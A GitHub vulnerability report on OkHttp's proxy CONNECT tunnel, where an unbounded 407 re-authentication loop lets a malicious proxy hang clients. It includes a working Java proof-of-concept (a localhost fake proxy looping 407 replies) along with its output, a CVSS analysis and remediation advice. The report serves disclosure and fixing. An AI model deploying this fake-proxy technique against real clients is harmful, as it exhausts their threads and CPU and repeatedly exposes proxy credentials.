Skip to content

Infinite Authentication Loop in Proxy CONNECT Tunnel in OkHttp #9477

@sara11h

Description

@sara11h

Vulnerability Information

Field Value
Product OkHttp
Vendor Square (Block, Inc.)
Version Affected <= 5.0.0-alpha.14 (parent-5.3.2)
Vulnerability Type CWE-835: Loop with Unreachable Exit Condition
Severity High
CVSS 3.1 Score 7.5
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A malicious HTTP proxy can trap OkHttp in an infinite loop within the createTunnel() method by repeatedly responding with 407 Proxy Authentication Required without sending Connection: close. The inner while loop has no iteration counter, causing CPU exhaustion, thread starvation, and repeated credential exposure.

Affected Component

File: okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/ConnectPlan.kt
Function: createTunnel() (lines 420-459)

while (true) {
  when (response.code) {
    HttpURLConnection.HTTP_PROXY_AUTH -> {
      nextRequest = route.address.proxyAuthenticator.authenticate(route, response)
          ?: throw IOException("Failed to authenticate with proxy")
      if ("close".equals(response.header("Connection"), ignoreCase = true)) {
        return nextRequest  // Only exits if proxy sends Connection: close
      }
      // No iteration counter — loops forever if proxy keeps connection open
    }
  }
}

Root Cause Analysis

The createTunnel() method establishes an HTTPS tunnel through an HTTP proxy using the CONNECT method. When the proxy returns 407, OkHttp re-authenticates and retries. The loop only exits when:

  1. The proxy closes the connection (Connection: close)
  2. The authenticator returns null
  3. An I/O error occurs

A malicious proxy that keeps the connection alive and always returns 407 causes infinite iteration. Unlike the outer RetryAndFollowUpInterceptor which has MAX_FOLLOW_UPS = 20, this inner loop has no counter.

Attack Scenario

  1. Attacker operates a malicious proxy server (or compromises a proxy via MITM)
  2. Victim's application is configured to use this proxy
  3. When the client attempts any HTTPS request, the proxy always responds 407 without Connection: close
  4. OkHttp loops indefinitely, consuming CPU and repeatedly transmitting credentials

Reproduction Steps

Prerequisites

  • Java 17+
  • OkHttp 5.0.0-alpha.14

Steps

  1. Start a malicious proxy:
ServerSocket proxyServer = new ServerSocket(8888);
Socket client = proxyServer.accept();
// Always respond 407 without Connection: close
while (true) {
    // read CONNECT request
    // respond: 407 Proxy Authentication Required
    // (no Connection: close header)
}
  1. Configure OkHttp to use the proxy:
OkHttpClient client = new OkHttpClient.Builder()
    .proxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8888)))
    .proxyAuthenticator((route, response) -> {
        return response.request().newBuilder()
            .header("Proxy-Authorization", Credentials.basic("user", "pass"))
            .build();
    })
    .build();

Request request = new Request.Builder()
    .url("https://example.com/")
    .build();
client.newCall(request).execute(); // Never returns

Expected Result

OkHttp should limit proxy authentication retries and abort after a reasonable number of attempts.

Actual Result

OkHttp loops indefinitely (1000+ iterations observed in PoC), consuming CPU and resending credentials.

Proof of Concept

Full PoC Script (Java)

import java.io.*;
import java.net.*;
import java.util.concurrent.atomic.*;
import okhttp3.*;

public class PocInfiniteAuthLoop {
    static AtomicInteger authAttempts = new AtomicInteger(0);

    public static void main(String[] args) throws Exception {
        ServerSocket proxyServer = new ServerSocket(0);
        int proxyPort = proxyServer.getLocalPort();

        new Thread(() -> {
            try {
                Socket client = proxyServer.accept();
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(client.getInputStream()));
                OutputStream out = client.getOutputStream();
                while (true) {
                    String line;
                    while ((line = reader.readLine()) != null && !line.isEmpty()) {}
                    int attempt = authAttempts.incrementAndGet();
                    if (attempt >= 1000) { client.close(); break; }
                    out.write(("HTTP/1.1 407 Proxy Authentication Required\r\n" +
                        "Proxy-Authenticate: Basic realm=\"proxy\"\r\n" +
                        "Content-Length: 0\r\n\r\n").getBytes());
                    out.flush();
                }
            } catch (Exception e) {}
        }).start();

        OkHttpClient client = new OkHttpClient.Builder()
            .proxy(new Proxy(Proxy.Type.HTTP,
                new InetSocketAddress("127.0.0.1", proxyPort)))
            .proxyAuthenticator((route, response) -> {
                return response.request().newBuilder()
                    .header("Proxy-Authorization", Credentials.basic("user", "pass"))
                    .build();
            })
            .callTimeout(java.time.Duration.ofSeconds(10))
            .build();

        Request request = new Request.Builder()
            .url("https://example.com/").build();

        try {
            client.newCall(request).execute();
        } catch (Exception e) {
            System.out.println("Attempts: " + authAttempts.get());
            // Output: Attempts: 1000
        }
        proxyServer.close();
    }
}

PoC Output

[*] Malicious proxy on port 59108
[*] Initiating HTTPS request through malicious proxy...
[*] Proxy auth attempt #100
[*] Proxy auth attempt #200
...
[*] Proxy auth attempt #1000
[!] VULNERABILITY CONFIRMED: 1000 auth attempts without abort
[!] OkHttp has no iteration counter in createTunnel() inner loop

[!] Request failed after 1000 proxy auth attempts
[!] Error: IOException: unexpected end of stream
[!] VULNERABILITY CONFIRMED: Without callTimeout, this would loop infinitely

Impact

  • Confidentiality: None directly (but credentials repeatedly exposed on wire)
  • Integrity: None
  • Availability: High - Thread/CPU exhaustion, application hangs indefinitely
  • Additional: Proxy credentials transmitted 1000+ times, increasing interception probability

CVSS 3.1 Calculation

Metric Value Justification
Attack Vector Network Malicious proxy accessible over network
Attack Complexity Low Simple 407 response, no special conditions
Privileges Required None Any proxy can respond with 407
User Interaction None Automatic when client uses proxy for HTTPS
Scope Unchanged Only the client application is affected
Confidentiality None No direct data disclosure
Integrity None No data modification
Availability High Complete thread/CPU exhaustion

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5

Remediation Recommendations

  1. Add an internal iteration counter in createTunnel(), limiting to 5 attempts regardless of connection state
  2. Detect repeated 407 with identical challenges and abort early
  3. Apply the existing MAX_FOLLOW_UPS limit to the tunnel authentication loop

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugBug in existing code

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions